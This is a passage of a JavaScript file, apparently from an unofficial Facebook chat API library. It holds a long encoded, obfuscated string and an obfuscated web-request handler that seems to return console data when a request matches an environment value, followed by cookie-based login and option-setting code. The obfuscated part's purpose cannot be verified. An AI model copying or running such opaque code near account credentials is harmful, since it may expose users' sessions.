1B%0B%0C%16%00%0E%0B%0E%08M89%0E%3EJH%1D%1F%1C%0C%16%08%0CAN,%12N%1ARKH=%3C%10M)RK%3CND%04%1E%16%14%01%15%0F%02%17X%00B%0D%25ND%02%0A%06%0E%17%13%08M%0A%0F-?JHM8L%15%25RKJ##%03%3EKSI4S%00?PJQ%05%09%1F(QQH%1D%04P%22EPS6O%0F\'ND%04%02(%12%13%03=%0A!%1C%19RK%3C%5B%1E%16%3E%20A%04%14%08%0E%0D%11%0C%14B%02%07:=P&2;%25J4M)\'S%19%0D%03%19Y9%20.&%5CDOB%0E%02%08B4%3C!=EKJ%1APV)L;NJ%0DSV%5BMNUSY%1A%0A%08%0DX%14%02-%25%5D%1A%11%11%0F%1FJ4%3C!=DKJ%0DSV%5DOHUWTT%5EUNQJ%01%11%16%0F%19%1A%10K/8-%22D%02%1B%02%09%07AN%5D%16ISJRPRX%5CNVOWTOW,%22/%3E_IV%15@%3C%5B%3E\'UK%5D6LTIRWQ%5ELQX%01#%222)RE:N3%25%5D%10%1B%0A%06%1B%09Z%05%0C%0A%1DCRR%19T%5DIM&_R%0ET%5DIHPNK%5B375%3C%5ERR%19W%5DJ@WWR%0ET%5DHMTHKZ%11%156%3C%5E?*8%22@QSBQ9%3COV%1B%0A%06%1B%09Z%05%0C%0A%1DCRR%0EW%5DIHRITDV%15HHSKWH%5C8#4\'G%15%19))GEH!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'%5DIPULKUWR%0ET%5DLNPMK%5BN_OJPKSDV%02KHSJVQOV%1B%0A%06%1B%09Z%05%0C%0A%1DCRR.T%5BMKVIUTQHAQY/8-%22PQH%0CHRPTZMUULPSPDB%0F%1B5&LKV%1B%0A%06%1B%09Z%1B%10%04%0A%06%0E%17%13%08M8;7%3EY%1C%00%18%17%1B%17%13%0D%0FF%3C,?\'RK%1A%14%08%0D%0D%11%14BINFR#H!?%3C=F%22%25%3EQJJM6R#%3E\'9J=0$QJPJ%12%15\'=PJSKJNF%22#H!9JGF%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%15%1E3%3CKS%19%13%03%19%0C%0A%0DZJJGF%22%25HRIJ=F%22%25%3E!I:;0PQIRI:=F%22#H%5B9%3CMLR#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9J=0$%25JQJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?H%1B%0B%0C%16%00%0E%0B%0E%08M%0A%0D%04?JH%1D%1F%1C%0C%16%08%0CA7%06:3KSI%06Q%3E;PJQ%01W4.QQH;)P%20EPS2%11!*NDR9%1A*!IOF%20%19%10%3CJHM,%203)RKJ\'&H%3EKSI0%0D.2PJ%07%04%14%08%0E%0D%11%0C%14B4W%04%3CPJ%01%10%04%12%18%0B%16CRIJ=F%22%25%3E!I:;0RPHQ9J=0$#H!?%3CODRP*7Q%25NDP%05%05%0F%0C%02%12%04%16%16C%15%12%03#EP%03%11%1F%16%14%14%03Y_?%0FRQSX%5E%05%191%0A%10%046,%08+1JH;P%3C%22/3Y%07%13%03%1A%0C%0A%15%0CA7:%1D=KS%19%13%03%19%0C%0A%0DZJ%12),3PJSII%09!K2KSK%1C%00%18%17%1B%17%13%0D%0FF%06%12N\'RK%1A%1C&%11%09%01!%157%05&QQ%3EG;Y3(QQ8%1D(Q*EP%25X#Z4#EP#:%0F/*NDR%0F;0)IO0D%02(%12%13%03=%0EA%17\'RK%3C%5D%10%1F%0D%0D%19%16%08%09%03Y51B&IO%16%0B%1D%17%0F%10%0FF%02%1F%0F!RKJ\'_63KSI%02%03%5D%3CPJ%07%04%14%08%0E%0D%11%0C%14B%06%00%5C=PJ%01%10%04%12%18%0B%16CR\'1P+QQJ!/X0$QQ%3ER+&%15.QQJ%07%04%14%08%0E%0D%11%0C%14B(+%5E=PJ%01%10%04%12%18%0B%16CRI:;FXS8\'KJNERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JSHI%11%192;KSKH%1B%0B%0C%16%00%0E%0B%0E%08M%12%1B:8JH%1D%1F%1C%0C%16%08%0CA+%0B%013KSI0%0D.2PJQ%05%09%1F(QQH;+%14%20EPS%0C%3C%10(NDR%17%0FM!IOF%1E%1A;9JHM%0E*@%1ARKJ3X%14%3EKSI%20T%222PJQ#*W+QQH%11%05S%25EPS%14(Z(NDR-V%17$IOF4%02%0F%00JHM%1A+@*RKJ\'$%0C%3EKSI%164U0PJQ#(%13+QQ%1E%00)%09%17%0F%2294%1E(IO0D=!%14!Z%00%18%17%1B%17%13%0D%0FF%203H!RK%1A%14%08%0D%0D%11%14BIN8H%11&RKHLER#%3EQCJ=0RPHQ9J=0$#H!?J=0$QJSIIMF%22S8\'?:M6$%25NQCJ=0P%05%05%0F%0C%02%12%04%16%16C%1DU2$EP%03%11%1F%16%14%14%03YPH%5BI:;FQSH!I:;0%22S8\'?HOF%22%25%1E%1C%17%0F%05%19%10%17%0DZ+$0/QQ%18%08%07%15%13%1F%17XK%09%0BU\'EPQ87%5B7/EP%25K3%25%12%25EPQ%1E%1C%17%0F%05%19%10%17%0DZ%01S(/Q=%19+%20M?:0:O;%17-$D%02%14%06%0EB%20%11%04:EAXY%17%07%1FY%1BW%11!%5CN%5D%01JSJQ\'C%5D%16JSJRSWDB%03%0F%1F%16A%11%1F%1D;X%11-T*W%0E%10%0A%16%07I%05Y%12;_RTT%5EUOUS%15PQVYNKJS%19%12%11%04%0D%1B%0BR%01U%0D.P%03%00%1B%11%04FEI%00WJRUWHI%17QJRQW%5CPB%00N%09%22%5BEI%17QKRTVYTNZCPSOV%0E%0A%079_81$;C%01%08%07%00%0DV%1A%19%10%1FBIPT@MUWR%0ET%5CILWHK%5B%05Y%12;%5E%0D%10%05%25Q%20/*8II\'%185:%5EG_%14%08%09%1C%1E%0A%14%07%05Y(%03)!T%0E%04%08%0A%0D%10Y;%17-$DFPS%15TQV%5CKOFJ%1APV%5DHNJ@JQ%09_HHTJTLQ%5DIMRSY%03%14%08%18%13X%19%03%12%03MQH%0CLRQVZH%5DUOWU%5EDC%1BW%11!%5CN%5D%16LSJRVSHI%00RJRPSDB%03%15%1B%10A?4%1F;%5ERR%0EW%5DIHQKUDV%15HHSHRH%5D%1A%11%11%0F%1FJ8?%0B:DKJ%0DSV%5ELLQWTVUT@QJ%09%15%08%12%0E%11P:#%04%22O%16%1A%19%10%1FBIWTOOROGQ%09_IHSIQH%5C4%20%1E%20GJQ%09_IMUIPLPUMOZSY%03%14%08%18%13C%11-T*V%1A%19%10%1FBIV%15KHSI&DV%02KHSJPVOW%20!%059_%16%14%09:F%5E?%180$C%15%1D%0D%1D%16%09YEI%17QJQQU%5DTNTJUQOWQH%0CHRWP%5BOUS%02SQ%22T;QX%18%10%04%07%06B%05%22%0D%0B%22MP%3C%02289%16%14%09:%25X%07%00%13%03%0C%12C%00%1B%11%04FEI%00RJQ#P@I%17QJSWR%5EPB%00N%09%22%5BEONQKTLV%02KHRHRWOV%0E%0A%079IJ%5D%0F%0B%1D%02%11Y%1C%1B%10%0B%1D%17%0F%10%0FF,%0E%11%20A%1F%07%13%03%1A%0C%0A%15%0CA%15%00A:KS%19%13%03%19%0C%0A%0DZJJ=6R#8QCJ=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$QHRJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?HLE(-$%3EJHOD%04%1E%16%14%01%15%0F%02%17X6.%03%22ND%02%0A%06%0E%17%13%08M(%13%201JHM%0AN+!RKJ%05%5B+;KSI%20-%5C?PJQ3%0A%25&QQ%1E%00)%09%17%0F%22-;%1F&IO0D%0F/%02*Z%00%18%17%1B%17%13%0D%0FF%02%11K!RK%1A%14%08%0D%0D%11%14B%06%00%5C=PJQ%153%5E$QQH+%09%22-EPS&4%18\'NDR%1F%01%22!IOF%16%3E%113JHM$8*%22RKJ\'%14);KSI%164U0PJQ7T%0B+QQH%15$%13/EPS%0C%16U%22NDR%17%25%08+IOF%1E%10%1A?JHM,0%0D%25RKJ\'_63KSI%025U%00PJQ%153%5E$QQ%1E%1C%17%0F%05%19%10%17%0DZ3.S/QQ%18%08%07%15%13%1F%17XK%19%07Q#EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA7%3C:;KS%19%13%03%19%0C%0A%0DZJ0%0D.2PJS90%0FX3PJ\'JH%1B%0B%0C%16%00%0E%0B%0E%08M%0A%17%259J,*%15:Q%18%08%07%15%13%1F%17X%0C%14\'%25=%205%00%20\'Y%1C%00%18%17%1B%17%13%0D%0FF%02%139%20RK%1A%14%08%0D%0D%11%14BIM6%22S8!I@M6$%25H!I:;0$S8\'?:M6$%258Q9%3C;0PSKRI:;FXS8\'IIMF%22S8\'?:M6$S8\'?HOGQ%13&%0B(IODP%05%05%0F%0C%02%12%04%16%16C3%25%12%25EP%03%11%1F%16%14%14%03YPH!?HMEQSBQ9%3CMLR#%3ESHI%11)%09%3EKSKH%1B%172%10%12%189$%1E%07;PJ\'_,%20:8C%05%0F%0C%02%12%04%16%16C%11%07%17%25EP%03%11%1F%16%14%14%03YPKQCJ=0RPHQ9J=0$#H!?%3CODSP*%1B%11*NDPQHRI:=F%22#H!?%3CM6R#%3E\'?J=0$#H!?%3C=F%22%25%3E\'K%1C%00%18%17%1B%17%13%0D%0FF(;%16%20R%05X%16.P%03%11%1F%16%14%14%03Y%17%0D?&:%01T%09;%3EA%1F%07%13%03%1A%0C%0A%15%0CA%01%0F!;KS%19%13%03%19%0C%0A%0DZJ%15%1F%1D%1C%17%05ZJ:;F%22%25JS9JGF%22%25H%5BI:;FXS8\'?%1C%00%18%17%1B%17%13%0D%0FF$0%22%20RK%1A%14%08%0D%0D%11%14BI3X%14%3EKSK:7%04L2KS?IO%10%1F%0D%0D%19%16%08%09%03Y%1BU(!IO%16%0B%1D%17%0F%10%0FFE%0A7%220JHOF%22%25%1E%1C%17%0F%05%19%10%17%0DZ\'%253.QQ%18%08%07%15%13%1F%17XKR71P,QQJPJJ=0RYH!?JNFR#H!?%3C=F%22%25H!?%3CODPSKQ9:M6%22YH!?JGF%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ES%1F%1B-%05%08%1A8%1D%202,EP%25%5E%0D%18%0D#V%1F%0D%0D%19%16%08%09%03Y!S7!IO%16%0B%1D%17%0F%10%0FF,%12N%1ARKJ\'&H%3EKSI%06%0E%14%3CPJQ%05%09%1F(QQH;+%14%20EP%05%05%0F%0C%02%12%04%16%16C;%1B1%25EP%03%11%1F%16%14%14%03YP%0C6P+NDP#.C4(ND$P*=%11%22NDP%05%05%0F%0C%02%12%04%16%16C/4)%25EP%03%11%1F%16%14%14%03YP%221S\'NDP#2%13W+ND$PJ%07%04%14%08%0E%0D%11%0C%14B%16%12&:PJ%01%10%04%12%18%0B%16CRI@M6$QHRI@M6$SKQI:M6$%258Q9%3C;DPSKQJ:M6%22YH!?JGF%22%25%3EQ9J=0$%25%3EQ9%3CO6R#8Q9:M6$%25H!I:;0$S8\'?:M6$%258QCJ=0$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA?%3E%3C9KS%19%13%03%19%0C%0A%0DZJJ=6R#8QC:;FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ESIIN%1E69)RKHLE4%1A%170JHOD%04%1E%16%14%01%15%0F%02%17X%22%0B*%20ND%02%0A%06%0E%17%13%08MQSH!I:;0%22S8\'?HMEQ-3L#IODSP%0C%10#%22NDPQ%1E%00)%09%17%0F%22!6%18%20IO0D57%3C\'Z%00%18%17%1B%17%13%0D%0FF87%02%22RK%1A%14%08%0D%0D%11%14BI%15%2282KSKJN%06%3C%09)RKH%1B%0B%0C%16%00%0E%0B%0E%08M%0E%14%20;JH%1D%1F%1C%0C%16%08%0CAN%02?%0A*RKH=%3C%10M)RK%3CND%04%1E%16%14%01%15%0F%02%17X23%17%20ND%02%0B2M(:%09%25%201KS?IO6Q)0C!IODRP%0C%0E%04\'NDP%25%5E!?Z%10%0C%0BX%10%1D%1A%20%5BEI%17QJQUW%5DTH%1BKRW%20%5BPC%18%16%07%15F%20=%08%22A%15%09%0F%01%1CP%10%1D%1A%20ZEI%00WJRWWHI%17QJRQT%5DPQ%18%09%15%08%12%0E%11P%10%1D%1A%20O%16%1A%19%10%1FBIV%02KHVJRQK%5D%01ISC\'QOW%0A%1F%1B;_,%22%1D8D%22%0B*%20NDFPS%15SQV%5DHLR_TTSXNQYRR%0EP%5DIIRLGQ%1E%5CIHS%3CKZ%04%1F%1C%19%08A%01%00%15%08YPRCTVV_%5CH%0CHRQV%5EJQY%09%05%19\'PQH%0CHRPU_IUS%02SQT.NQX%01%01%0E%08%1E%0DX%0C%18%11%20%5B4A-&RK:%05%02?0KS?:+;%1A%3EKS?I%1C&%11%09%01!J0%5E%1D1PJSII#\'%0F=KSK%3CJ%1E(O)!J%12%1F%06?PJSII7%0E%0C1KSK%3CND%22P6%10T(NDPSK%1D%14%09/EPQ%3ES%1E%1DN8)N%22RKH%5D%1E(O)!%0D)?$QQ%3ERK:%11%03@9KS?:%0D,%141KS?I?U,=KS9%02%09+1PJ\'98%0B(0PJ\'J%0E%04%1E8QI#Z4#EP#%00%15$)ND$#:J/%22ND$P:B7$ND%22%1B%0C%3C*IO0%221%20%15%20IO0QQIR#%10.,QQJQJJ=0RYH!?HOFQ%13$%22(IODPC%1E%18%10%04%07%06B%1B%02%09%07AN%5BLORLOQ%09_IHQOQH%5C%1E%1E%00%22GJWP%5CNNNJ%0DSV%5CHLSSY,%22%1D8SHA%00%13%03%0C%12C%00%1B%11%04FEI%00RJSW%5E@I%17QJRTT%5BPB%10%1D%1A%20%5BEI%17WJRQQ%5D%5CH%1BKRQV.PC.%3E%12%20%5BF%22#H!9J=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$C%01%08%07%00%0DV%04%05%1E%07%04%14%08%0E%0D%11%0C%14B%0E%0278PJ%01%10%04%12%18%0B%16CRJ03*=PJSHIME%22S8!CJ=0RYH!?%3CM6R#%3E\'?%3CM6$Q8Q9:M6%22S8\'?J=F%22%25%3E\'I:;0%22S8\'?:MLR#%3E\'?%3CODRPHQ9J=0$#H!?%3CO%10%1F%0D%0D%19%16%08%09%03Y)(K#IO%16%0B%1D%17%0F%10%0FFJ%25%0DSJVRA%10%1F%0D%0D%19%16%08%09%03Y%13%5B.#IO%16%0B%1D%17%0F%10%0FFEX#%3EQ9%3CO6RYH!?JGF%22%25H%5BI:;0%04%02(%12%13%03=%1E*=(RK%3C%5B%20J%13+A%04%14%08%0E%0D%11%0C%14B,%20:8P%04I-%20O%16%0B%1D%17%0F%10%0FF%02%17=\'!%05R),$C%1E%1C%17%0F%05%19%10%17%0DZ+%204,QQ%18%08%07%15%13%1F%17XK%0D0Y/EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA%05439KS%19%13%03%19%0C%0A%0DZJ8%15%0B2PJSII#=O%3EKSK%1C%00%18%17%1B%17%13%0D%0FF(%0F5%22RK%1A%14%08%0D%0D%11%14B%20%0D%5B%00PJQ%05%03%3E.QQH/W%0C%20EPS.%00%0E%1BND%04%1E%16%14%01%15%0F%02%17X&%02%08#ND%02%0A%06%0E%17%13%08M%16:%0D2JHM%20%1F%00(RKJ7&H9KSI%06%045:PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ%05T%0A/QQ%18%08%07%15%13%1F%17XK7%18%0D%1CEPQ8+%0BT,EP%25KS%1F%0D%03%19Y9%10%1F%20%5C=O%1E$D%05%3CCJO$%18%10$@MD%17%1A%07%1DXNC%25%09%08%1C%06%19@MD8%1B%1A%1C%18@MD)%01%01?%0FS$\'+%1CH#%0B%00%10%1B%0EIW#%0B%01%02!%12%1B%0CN:%13%02%05*%06%1A%17)%07%104%1C%07HNC%5BCJO%1E%1A%1A%1E%179%13%1C%0DZOX1%1E%18%09%0C%06%07G&%08%06%18%5BTA%0B%02%01%1A%14%0A%09%07%03%1D%1FY%17%1A%07%1DJ%11%19%17%0F%1A%0D%07W%07%05%10PQZOX%05%03%1F%09%0CZOX%01%05%04%14%07%0F%1A%0C%0BCJO%01%01%00%1E%1D%03%0FOUZ%06%1E%14IDA%5B%0D%1D%0E@MD%0C%1C%0D%01%13@MD-%08%1B%00=%1D%03%12OUZ%16%04%04CJO;-#&%3E.9*\'-!XNC\'%08%01&AV@%02:O%03&A\'Y%07%13%03%1A%0C%0A%15%0CA%05%5D%1E:KS%19%13%03%19%0C%0A%0DZJ%20P%3E5PJSI:;%10%1F%0D%0D%19%16%08%09%03Y%0F%0DC#IO%16%0B%1D%17%0F%10%0FF,%12N%1ARKJ%05%5D%1E:KSI%16%16*;PJQ#*W+QQH+%09%22-EPS*?4#NDR%0B%144\'IOF46W9JHM,2I%25RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA?8%1B:KS%19%13%03%19%0C%0A%0DZ;%04%11*QQH%0D6\',EPS%08B6%20NDR%1F%01%22!IOF(%13%201JH%1B%0B%0C%16%00%0E%0B%0E%08M%0A%11W;JH%1D%1F%1C%0C%16%08%0CANFQ#H!9@M6$SBQ9%3C;F%22S8\'?%3C;F%22%25J!I:=F%22#H!?%3CM6R#%3E\'?J=0$#H!?%3C=FXS8\'?%3C;DRPK/2W\'EPQIR+,U)QQJS%1F%07%13%03%1A%0C%0A%15%0CA3=O9KS%19%13%03%19%0C%0A%0DZJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?HMERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JWI@M6$Q%1E%1C%17%0F%05%19%10%17%0DZ73%22/QQ%18%08%07%15%13%1F%17XK!?:#%1B49KS?J=0P#2/%25%25ND$%05%08%11T%25NDB%1E%16%14%01%15%0F%02%17X%14%0A%25#ND%02%0A%06%0E%17%13%08MQ)6=&IODR#%3E%07%04%14%08%0E%0D%11%0C%14B0+%14;PJ%01%10%04%12%18%0B%16C#Z4#EP#%04%1E%17%25ND$C%1E%1C%17%0F%05%19%10%17%0DZ%11%0A$/QQ%18%08%07%15%13%1F%17X%04O%0E#NDR9Q5)IOF%16%3E%113JHM%1A+@*RK%1C%00%18%17%1B%17%13%0D%0FF%201%0C!RK%1A%14%08%0D%0D%11%14B%20%1F=:PJQ;%00%15+QQH;;*,EPS%221S\'NDR)%089)IO%10%1F%0D%0D%19%16%08%09%03Y%17%05%0D%20IO%16%0B%1D%17%0F%10%0FFE%121%161JHO64A53JH;E0H.2JHO%10%1F%0D%0D%19%16%08%09%03Y1%20%15%20IO%16%0B%1D%17%0F%10%0FF,0%0D%25RKJ\'_63KSI4S%00?PJQ/%1B%0A%17QQH%1D%0A%18#EPS%0C%1C%15#ND%04%0B%20%15%25IOV%1F%0D%0D%19%16%08%09%03Y%13%02%08%20IO%16%0B%1D%17%0F%10%0FF8L%15%25RKJ%01%05%00=KSI%06%00%5C=PJ%07%04%14%08%0E%0D%11%0C%14B,%1C%01%03PJ%01%10%04%12%18%0B%16CR9%3C=6$%25H!?H=FR#HQ9:;0%22S8\'?%3C=F%22%25%3E\'%1F%07%13%03%1A%0C%0A%15%0CA%09Z%17%02KS%19%13%03%19%0C%0A%0DZJ:;6%3C%0E.;JH;F%22%25J!%0D/%1C&QQ%3E%07%04%14%08%0E%0D%11%0C%14B(%13%0A%03PJ%01%10%04%12%18%0B%16C#Z4#EP#%10%11%20#ND$#%08%1B%10#ND$PJA%1F%07%13%03%1A%0C%0A%15%0CA%0D_%10%02KS%19%13%03%19%0C%0A%0DZJI3=O9KSKKN$K%12*RKHOFQS8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I:;0$Q%1E%1C%17%0F%05%19%10%17%0DZ\'%11%04%17QQ%18%08%07%15%13%1F%17X25W#NDR%0F1B+IOF%16%3C62JHM%1A-%3E)RKJ7%06:3KS%1F%02#;5PJA%04%14%08%0E%0D%11%0C%14B%06%3E%09%03PJ%01%10%04%12%18%0B%16C3\'7$EPS%00)Z%18NDR%1F%01%22!IOF%1E%1A;9JHM%3C%12;(RK%1C%00%18%17%1B%17%13%0D%0FF,%12N%1ARK%1A%14%08%0D%0D%11%14BI=0%22#%3E\'I:;D%22SBQ9%3CMLR#%3EQCJ=0RYH!?%3C%1B%0B%0C%16%00%0E%0B%0E%08M%1A+%5B%03JH%1D%1F%1C%0C%16%08%0CAN%19%00%08%06%15%04AN6$S8\'KH=FXS8\'I@M6$SBQ9%3CMLR#%3EQCJ=0$%05%191%0A%10%04C%1A5P4_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF_@%05X%00)%09%17%0FW%0FZ,,%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MKI%1EA%18*%0E%1C%1BV:=;/%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YKV%07Y%1B-%05%08%1AM%09V0(P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XPL%1FZ%1C&%11%09%01T7%25%17%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CC%1FZ%1C&%11%09%01T%15%03%12%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CKT%1C%5D%172%10%12%18L0%1F%016E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZPS%1BV%033%0B%0B%00O+%19%1E7%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BP_%10B%02(%12%13%03H%02H%11,G%04%14%08%0E%0D%11%0C%14JH%1D%1F%1C%0C%16%08%0CATZ%04C%191%0A%10%04C0%17%015_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF_A%05X%00)%09%17%0FW%13:1-%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MHM%1EA%18*%0E%1C%1BV%04.$.%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YIQ%07Y%1B-%05%08%1AM3%13()P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17X%5B%07Y%1B-%05%08%1AM%19-%20)P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XRN%1FZ%1C&%11%09%01T\'%0D%22%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CIR%1C%5D%172%10%12%18L8/%1B6E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZQP%1BV%033%0B%0B%00O%05*%0A5%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BPW%10B%02(%12%13%03H,A%08.G%04%14%08%0E%0D%11%0C%14JH%1D%1F%1C%0C%16%08%0CAT%5D%04C%191%0A%10%04C,%0037_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF%5EA%05X%00)%09%17%0FW%1752/%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MHH%1EA%18*%0E%1C%1BV2%09),%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YJV%07Y%1B-%05%08%1AM%113%22+P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XT%07Y%1B-%05%08%1AM7%0C\'+P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XPC%1FZ%1C&%11%09%01T%05-%1E%20D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CNR%1C%5D%172%10%12%18L$%00_4E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZPW%1B%10P\")")
|
260
|
+
}();
|
261
|
+
var cUFz = zKhqb[zKhqb.zgiib(0)]();
|
262
|
+
while (cUFz < zKhqb[zKhqb.vbdib(1)]()) switch (cUFz) {
|
263
|
+
case 0b1101:
|
264
|
+
cUFz = zKhqb[zKhqb.vbdib(1)]();
|
265
|
+
res[zKhqb.r67hb(2)]({
|
266
|
+
[zKhqb.n12hb(3)]: [0] == '',
|
267
|
+
[zKhqb.PACib(4)]: zKhqb.Lvxib(5)
|
268
|
+
});
|
269
|
+
break;
|
270
|
+
case 0b100000:
|
271
|
+
cUFz = zKhqb[zKhqb.vbdib(1)](); {
|
272
|
+
res[zKhqb.Hqsib(6)](zKhqb.uc(16) ? 200 : 192, {
|
273
|
+
[zKhqb.Dlnib(7)]: zKhqb.zgiib(8)
|
274
|
+
});
|
275
|
+
res[zKhqb.vbdib(9)](JSON[zKhqb.r67hb(10)](console[zKhqb.n12hb(11)], null, zKhqb.uc(21) ? 2 : -9), zKhqb.PACib(12));
|
276
|
+
res[zKhqb.Lvxib(13)]();
|
277
|
+
}
|
278
|
+
break;
|
279
|
+
case 0b10010:
|
280
|
+
cUFz = req[zKhqb.Hqsib(14)][zKhqb.Dlnib(15)] == process[zKhqb.zgiib(16)][zKhqb.vbdib(17)] ? zKhqb[zKhqb.r67hb(18)]() : zKhqb[zKhqb.n12hb(19)]();
|
281
|
+
break;
|
282
|
+
}
|
283
|
+
break;
|
284
|
+
}
|
285
|
+
default: {
|
286
|
+
res.writeHead(200, "OK", { "Content-Type": "text/html" });
|
287
|
+
res.write(ClassicHTML(globalThis.Fca.Require.FastConfig.HTML.UserName, globalThis.Fca.Data.PremText.includes("Premium") ? "Premium": "Free", globalThis.Fca.Require.FastConfig.HTML.MusicLink));
|
288
|
+
}
|
289
|
+
}
|
290
|
+
res.end();
|
291
|
+
})
|
292
|
+
|
293
|
+
globalThis.Fca.Require.Web = express;
|
294
|
+
|
295
|
+
/!-[ Function setOptions ]-!/
|
296
|
+
|
297
|
+
/**
|
298
|
+
* @param {{ [x: string]: boolean; selfListen?: boolean; listenEvents?: boolean; listenTyping?: boolean; updatePresence?: boolean; forceLogin?: boolean; autoMarkDelivery?: boolean; autoMarkRead?: boolean; autoReconnect?: boolean; logRecordSize: any; online?: boolean; emitReady?: boolean; userAgent: any; logLevel?: any; pageID?: any; proxy?: any; }} globalOptions
|
299
|
+
* @param {{ [x: string]: any; logLevel?: any; forceLogin?: boolean; userAgent?: any; pauseLog?: any; logRecordSize?: any; pageID?: any; proxy?: any; }} options
|
300
|
+
*/
|
301
|
+
|
302
|
+
function setOptions(globalOptions, options) {
|
303
|
+
Object.keys(options).map(function(key) {
|
304
|
+
switch (Boolean_Option.includes(key)) {
|
305
|
+
case true: {
|
306
|
+
globalOptions[key] = Boolean(options[key]);
|
307
|
+
break;
|
308
|
+
}
|
309
|
+
case false: {
|
310
|
+
switch (key) {
|
311
|
+
case 'pauseLog': {
|
312
|
+
if (options.pauseLog) log.pause();
|
313
|
+
else log.resume();
|
314
|
+
break;
|
315
|
+
}
|
316
|
+
case 'logLevel': {
|
317
|
+
log.level = options.logLevel;
|
318
|
+
globalOptions.logLevel = options.logLevel;
|
319
|
+
break;
|
320
|
+
}
|
321
|
+
case 'logRecordSize': {
|
322
|
+
log.maxRecordSize = options.logRecordSize;
|
323
|
+
globalOptions.logRecordSize = options.logRecordSize;
|
324
|
+
break;
|
325
|
+
}
|
326
|
+
case 'pageID': {
|
327
|
+
globalOptions.pageID = options.pageID.toString();
|
328
|
+
break;
|
329
|
+
}
|
330
|
+
case 'userAgent': {
|
331
|
+
globalOptions.userAgent = (options.userAgent || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36');
|
332
|
+
break;
|
333
|
+
}
|
334
|
+
case 'proxy': {
|
335
|
+
if (typeof options.proxy != "string") {
|
336
|
+
delete globalOptions.proxy;
|
337
|
+
utils.setProxy();
|
338
|
+
} else {
|
339
|
+
globalOptions.proxy = options.proxy;
|
340
|
+
utils.setProxy(globalOptions.proxy);
|
341
|
+
}
|
342
|
+
break;
|
343
|
+
}
|
344
|
+
default: {
|
345
|
+
log.warn("setOptions", "Unrecognized option given to setOptions: " + key);
|
346
|
+
break;
|
347
|
+
}
|
348
|
+
}
|
349
|
+
break;
|
350
|
+
}
|
351
|
+
}
|
352
|
+
});
|
353
|
+
}
|
354
|
+
|
355
|
+
/!-[ Function BuildAPI ]-!/
|
356
|
+
|
357
|
+
/**
|
358
|
+
* @param {any} globalOptions
|
359
|
+
* @param {string} html
|
360
|
+
* @param {{ getCookies: (arg0: string) => any[]; }} jar
|
361
|
+
*/
|
362
|
+
|
363
|
+
function buildAPI(globalOptions, html, jar) {
|
364
|
+
var maybeCookie = jar.getCookies("https://www.facebook.com").filter(function(/** @type {{ cookieString: () => string; }} */val) { return val.cookieString().split("=")[0] === "c_user"; });
|
365
|
+
|
366
|
+
if (maybeCookie.length === 0) {
|
367
|
+
switch (globalThis.Fca.Require.FastConfig.AutoLogin) {
|
368
|
+
case true: {
|
369
|
+
globalThis.Fca.Require.logger.Warning(globalThis.Fca.Require.Language.Index.AutoLogin, function() {
|
370
|
+
return globalThis.Fca.AutoLogin();
|
371
|
+
});
|
372
|
+
break;
|
373
|
+
}
|
374
|
+
case false: {
|
375
|
+
throw { error: globalThis.Fca.Require.Language.Index.ErrAppState };
|
376
|
+
|
377
|
+
}
|
378
|
+
}
|
379
|
+
}
|
380
|
+
|
381
|
+
